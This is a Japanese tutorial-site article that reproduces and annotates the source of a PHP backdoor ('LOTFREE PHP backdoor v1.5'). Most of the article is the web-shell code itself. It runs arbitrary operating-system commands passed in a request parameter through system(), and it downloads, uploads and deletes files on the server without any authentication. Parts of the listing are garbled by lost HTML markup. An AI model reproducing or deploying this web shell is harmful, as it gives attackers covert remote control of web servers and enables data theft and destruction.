検索

ホームページ  >  記事  >  バックエンド開発  >  PHPバックドアファイルの説明

PHPバックドアファイルの説明

WBOY
WBOYオリジナル
2016-07-25 09:13:331976ブラウズ

PHP バックドア バージョン 1.5 は、sirius_black / LOTFREE TEAM によって書かれた PHP バックドア プログラムです。これは、PHP を学習するためのメモとしても使用できます。 Web サーバーのインストール 管理者であれば、PHP を使用するときにユーザーの権限があれば、さまざまなオペレーティング システム コマンドを実行できます。

以下はバックドアに関するメモです


  3. function good_link($link)
  4. {
  5. $link= ereg_replace (“/+”,”/”,$link);
  6. $link=ereg_replace(“/[^/(..)]+/..”,”/”,$link);
  7. $link = ereg_replace("/+","/",$link);
  8. if(!strncmp($link,"./",2) && strlen($link)>2)$link=substr($link , 2);
  9. if($link==”")$link=”.”;
  10. return $link;
  11. }
  12. //$_REQUESTは、このファイルに送信されたデータを取得するために使用されます
  13. $ dir= isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; // dir が定義されていない場合、dir はデフォルト値 "." を受け取ります
  14. $dir=good_link($dir );
  15. $rep=opendir($dir); // dir
  16. chdir($dir); で指定されたパスハンドルを開く // dir
  17. if(isset($_REQUEST["down "]) &&$_REQUEST ["down"]!="") //down が定義されている場合
  18. {
  19. header("Content-Type: application/octet-stream");
  20. header("Content-Length : ".filesize($ _REQUEST["down"]));
  21. header("Content-Disposition:attachment; filename=".basename($_REQUEST["down"]));
  22. readfile($_REQUEST[" down"]); / /ファイルをバッファに読み込みます
  23. exit();
  24. }
  25. ?>

  27. LOTFREE PHP バックドア v1.5, yeetrack.com



  31. echo "現在の絶対パスは: ".getcwd()。 "< /b>gt;
    n"; //現在の絶対パスを取得します
  32. echo "dir = '$dir'
    n";
  33. echo "カレントディレクトリ、ファイルリスト!

    n”;
  34. //実行するコマンドを入力した場合
  35. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd ']!=” ")
  36. {
  37. echo "
    n";
  38. system($_REQUEST['cmd']); //入力したコマンドをサーバー上で実行すると、実行結果は以下のようになりますechoed
  39. echo "n";
  40. }
  41. //ファイルがアップロードされている場合
  42. if(isset($_FILES["fic"]["name"]) && isset($_POST ["MAX_FILE_SIZE"])) // 投稿されたファイルを取得し、現在のディレクトリに保存します
  43. {
  44. if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) / /ファイルがサイズ指定を満たしているか判断します
  45. {
  46. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link("./".$_FILES["fic"]["name"] ))) //一時ファイルを現在のディレクトリに保存します
  47. {
  48. echo "ファイルは正常に保存されました".good_link("./".$_FILES["fic"]["name"])."!< br>n";
  49. }
  50. else echo "ファイルのアップロードに失敗しました: ".$_FILES["fic"]["error"]."
    n";
  51. }
  52. else echo "ファイルも大きい (ファイルがサイズ制限を超えています)!
    n ";
  53. }
  54. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!="") //rm の場合定義されている場合は、指定されたファイルを削除します
  55. {
  56. if (unlink($_REQUEST['rm'])) //unlinkはphp
  57. echoのファイル削除関数です "削除に成功しました ".$_REQUEST['rm']。 "!
    n";
  58. else echo "ファイルの削除に失敗しました
    n";
  59. }
  60. ?>


  64. $t_dir=array();
  65. $t_file=array();
  66. $i_dir= 0;
  67. $i_file=0;
  68. // 読み取り前にディレクトリファイルをループし、t_dir と t_file に配置します
  69. while($x=readdir($rep))
  70. {
  71. if(is_dir($) x)) // 現在処理中の場合
  72. $t_dir[$i_dir++]=$x;
  73. else // 現在処理中のファイルの場合
  74. $t_file[$i_file++]=$x;
  75. }
  76. closedir($rep); //opendir で閉じます
  77. while(1) //現在のパス内のディレクトリとファイルをループします
  78. {
  79. ?>




  86. if(!$x && !$y)
  87. break;
  88. }
  89. ?>

  92. if($x=each($t_dir))
  93. {
  94. $name =$x["value"]; // t_dir 配列内のディレクトリ名を取得します
  95. if($name=='.'){ }
  96. elseif($name=='..') echo " UP (親ディレクトリ)

    n"; //UPリンクを表示し、親ディレクトリのファイルリストを読み込む
  97. else
  98. echo " ".$name."n";
  99. }
  100. ?>
  		101.
  103. //$_SERVER['PHP_SELF'] 現在のPHPスクリプトファイル名を取得します
  104. if( $y =each($t_file))
  105. {
  106. if($y["key"]%2==0) //現在の処理が key
  107. echo の場合 ” bgcolor='lightgreen'>n” ;
  108. else //現在の処理が値、つまりファイルの場合。ファイルが表示され、ダウンロード リンクが提供されます。
  109. echo “>n”;
  110. echo “ ".$y["value"]."n";
  111. }
  112. else echo ">n";
  113. ?>
  		114.
  116. if($y)
  117. {
  118. //ファイルの場合、ファイルを削除するには次のリンクを提供してください
  119. if($y [" key"]%2==0)echo ” bgcolor='lightgreen'";
  120. echo ">Del";
  121. }
  122. else echo ">n";
  123. ?>
  124. < ;/ td>




  128. ?dir=”>レヴニラウレパートリー< ;br> ;


  130. ”>
  131. 実行commande(オペレーティング システム コマンドを実行)
  133. ファイルをサーバーの現在のディレクトリにアップロードします:

  134. ”>




コードをコピー





声明：
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
前の記事：Ddiscuzx2.5の投稿の左欄に友達追加と挨拶機能を追加次の記事：Ddiscuzx2.5の投稿の左欄に友達追加と挨拶機能を追加

関連記事

続きを見る